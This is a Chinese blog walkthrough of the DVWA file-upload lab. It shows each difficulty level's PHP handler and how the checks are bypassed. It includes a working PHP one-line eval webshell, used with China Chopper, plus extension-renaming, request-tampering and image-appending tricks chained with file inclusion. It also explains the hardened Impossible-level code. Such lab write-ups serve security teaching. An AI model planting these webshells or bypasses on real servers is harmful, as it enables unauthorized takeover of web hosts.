zoukankan      html  css  js  c++  java
  • DVWA——File Upload(文件上传)

    File Upload(文件上传)

    文件上传漏洞通常是由于对上传文件的类型、内容没有进行严格的过滤、检查,使得攻击者可以通过上传木马获取服务器的webshell权限

    文件上传漏洞利用的条件:

    1.能够成功上传木马文件

    2.上传文件必须能够被执行

    3.上传文件的路径必须可知

     

    Low级:

    <?php 
    
    if( isset( $_POST[ 'Upload' ] ) ) { 
        // Where are we going to be writing to? 
        $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/"; 
        $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] ); 
    
        // Can we move the file to the upload folder? 
        if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) { 
            // No 
            echo '<pre>Your image was not uploaded.</pre>'; 
        } 
        else { 
            // Yes! 
            echo "<pre>{$target_path} succesfully uploaded!</pre>"; 
        } 
    } 
    
    ?> 

    漏洞利用:我们观察代码可以看到服务器对于上传文件的类型、内容等没有做任何的过滤,

    直接上传文件x.php(一句话木马):<?php @eval($_POST['qiyuan']);?>

    看到这样显示出路径,成功了。我们现在的密码就是 ‘ ’里的,我的是qiyuan。

    菜刀连接:就可以操控文件夹,修改文件了。

     

     Medium级:

    <?php 
    
    if( isset( $_POST[ 'Upload' ] ) ) { 
        // Where are we going to be writing to? 
        $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/"; 
        $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] ); 
    
        // File information 
        $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ]; 
        $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ]; 
        $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ]; 
    
        // Is it an image? 
        if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) && 
            ( $uploaded_size < 100000 ) ) { 
    
            // Can we move the file to the upload folder? 
            if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) { 
                // No 
                echo '<pre>Your image was not uploaded.</pre>'; 
            } 
            else { 
                // Yes! 
                echo "<pre>{$target_path} succesfully uploaded!</pre>"; 
            } 
        } 
        else { 
            // Invalid file 
            echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>'; 
        } 
    } 
    
    ?> 

    可以看到,Medium级别的代码对上传文件的类型、大小做了限制,要求文件类型必须是jpeg或者png,大小不能超过100000B(约为97.6KB)。

    漏洞利用一:文件包含+文件上传

    因为采用的是一句话木马,所以文件大小不会有问题,至于文件类型的检查,尝试修改文件名为 x.png。然后上传

    这时候我们打开中国菜刀,因为菜刀解析不成PHP文件,这时候我们可以利用文件包含,

    在菜刀地址栏输入:http://192.168.35.132/DVWA-master/vulnerabilities/fi/?page=hthttp://tp://192.168.35.132/dvwa/hackable/uploads/x.png

    参数名还是你自己改的,然后就可以拿到websell了。

    第二种方法就是用抓包上传文件的数据,然后把他改为php文件。

    先上传文件,抓包。尝试修改filenamex.php

    这样就上传成功了

    我们上菜刀连接一下。

    High级:

    <?php 
    
    if( isset( $_POST[ 'Upload' ] ) ) { 
        // Where are we going to be writing to? 
        $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/"; 
        $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] ); 
    
        // File information 
        $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ]; 
        $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1); 
        $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ]; 
        $uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ]; 
    
        // Is it an image? 
        if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) && 
            ( $uploaded_size < 100000 ) && 
            getimagesize( $uploaded_tmp ) ) { 
    
            // Can we move the file to the upload folder? 
            if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) { 
                // No 
                echo '<pre>Your image was not uploaded.</pre>'; 
            } 
            else { 
                // Yes! 
                echo "<pre>{$target_path} succesfully uploaded!</pre>"; 
            } 
        } 
        else { 
            // Invalid file 
            echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>'; 
        } 
    } 
    
    ?> 
    High的代码读取文件名中最后一个”.”后的字符串,通过文件名来限制文件类型因此要求上传文件名形式必须是.jpg.jpeg 、*.png三者之一。
    getimagesize()函数更是限制了上传文件的文件头必须为图像类型。

    我们可以将一句话木马与图片文件合并。如:先把一个图片改成txt格式,然后把一句话木马加进去再改回来,再进行上传。

    再用菜刀进行连接,地址为:http://192.168.35.132/dvwa/vulnerabilities/fi/?page=file:///C:/PhpStudy/PHPTutorial/WWW/DVWA-master/hackable/uploads/qiyuan.jpg

     Impossible级:

    <?php 
    
    if( isset( $_POST[ 'Upload' ] ) ) { 
        // Check Anti-CSRF token 
        checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); 
    
    
        // File information 
        $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ]; 
        $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1); 
        $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ]; 
        $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ]; 
        $uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ]; 
    
        // Where are we going to be writing to? 
        $target_path   = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/'; 
        //$target_file   = basename( $uploaded_name, '.' . $uploaded_ext ) . '-'; 
        $target_file   =  md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext; 
        $temp_file     = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) ); 
        $temp_file    .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext; 
    
        // Is it an image? 
        if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) && 
            ( $uploaded_size < 100000 ) && 
            ( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) && 
            getimagesize( $uploaded_tmp ) ) { 
    
            // Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD) 
            if( $uploaded_type == 'image/jpeg' ) { 
                $img = imagecreatefromjpeg( $uploaded_tmp ); 
                imagejpeg( $img, $temp_file, 100); 
            } 
            else { 
                $img = imagecreatefrompng( $uploaded_tmp ); 
                imagepng( $img, $temp_file, 9); 
            } 
            imagedestroy( $img ); 
    
            // Can we move the file to the web root from the temp folder? 
            if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) { 
                // Yes! 
                echo "<pre><a href='${target_path}${target_file}'>${target_file}</a> succesfully uploaded!</pre>"; 
            } 
            else { 
                // No 
                echo '<pre>Your image was not uploaded.</pre>'; 
            } 
    
            // Delete any temp files 
            if( file_exists( $temp_file ) ) 
                unlink( $temp_file ); 
        } 
        else { 
            // Invalid file 
            echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>'; 
        } 
    } 
    
    // Generate Anti-CSRF token 
    generateSessionToken(); 
    
    ?> 

    in_get(varname)

    函数返回相应选项的值

    imagecreatefromjpeg ( filename)

    函数返回图片文件的图像标识,失败返回false

    imagejpeg ( image , filename , quality)

    image图像以filename为文件名创建一个JPEG图像,可选参数quality,范围从0(最差质量,文件更小)到100(最佳质量,文件最大)。

     imagedestroy( img )

    函数销毁图像资源

    可以看到,Impossible级别的代码对上传文件进行了重命名(为md5值,导致%00截断无法绕过过滤规则),加入Anti-CSRF token防护CSRF攻击,同时对文件的内容作了严格的检查,导致攻击者无法上传含有恶意脚本的文件。

    参考文章:https://www.freebuf.com/articles/web/119467.html

  • 相关阅读:
    疫情环境下的网络学习笔记 python 5.8 数据库入门终章
    疫情环境下的网络学习笔记 python 5.7 navicat数据库,例题,sql注入
    疫情环境下的网络学习笔记 python 5.6 暂时看看
    疫情环境下的网络学习笔记 python 5.5 MYSql 表关系,外键
    疫情环境下的网络学习笔记 python 5.4 数据库基础
    疫情环境下的网络学习笔记 python 4.30 初识数据库
    疫情环境下的网络学习笔记 python 4.29 网络小项目
    XJOI 夏令营501-511测试11 游戏
    XJOI 夏令营501-511测试11 统计方案
    CF1197D Yet Another Subarray Problem
  • 原文地址:https://www.cnblogs.com/qi-yuan/p/12430138.html
Copyright © 2011-2022 走看看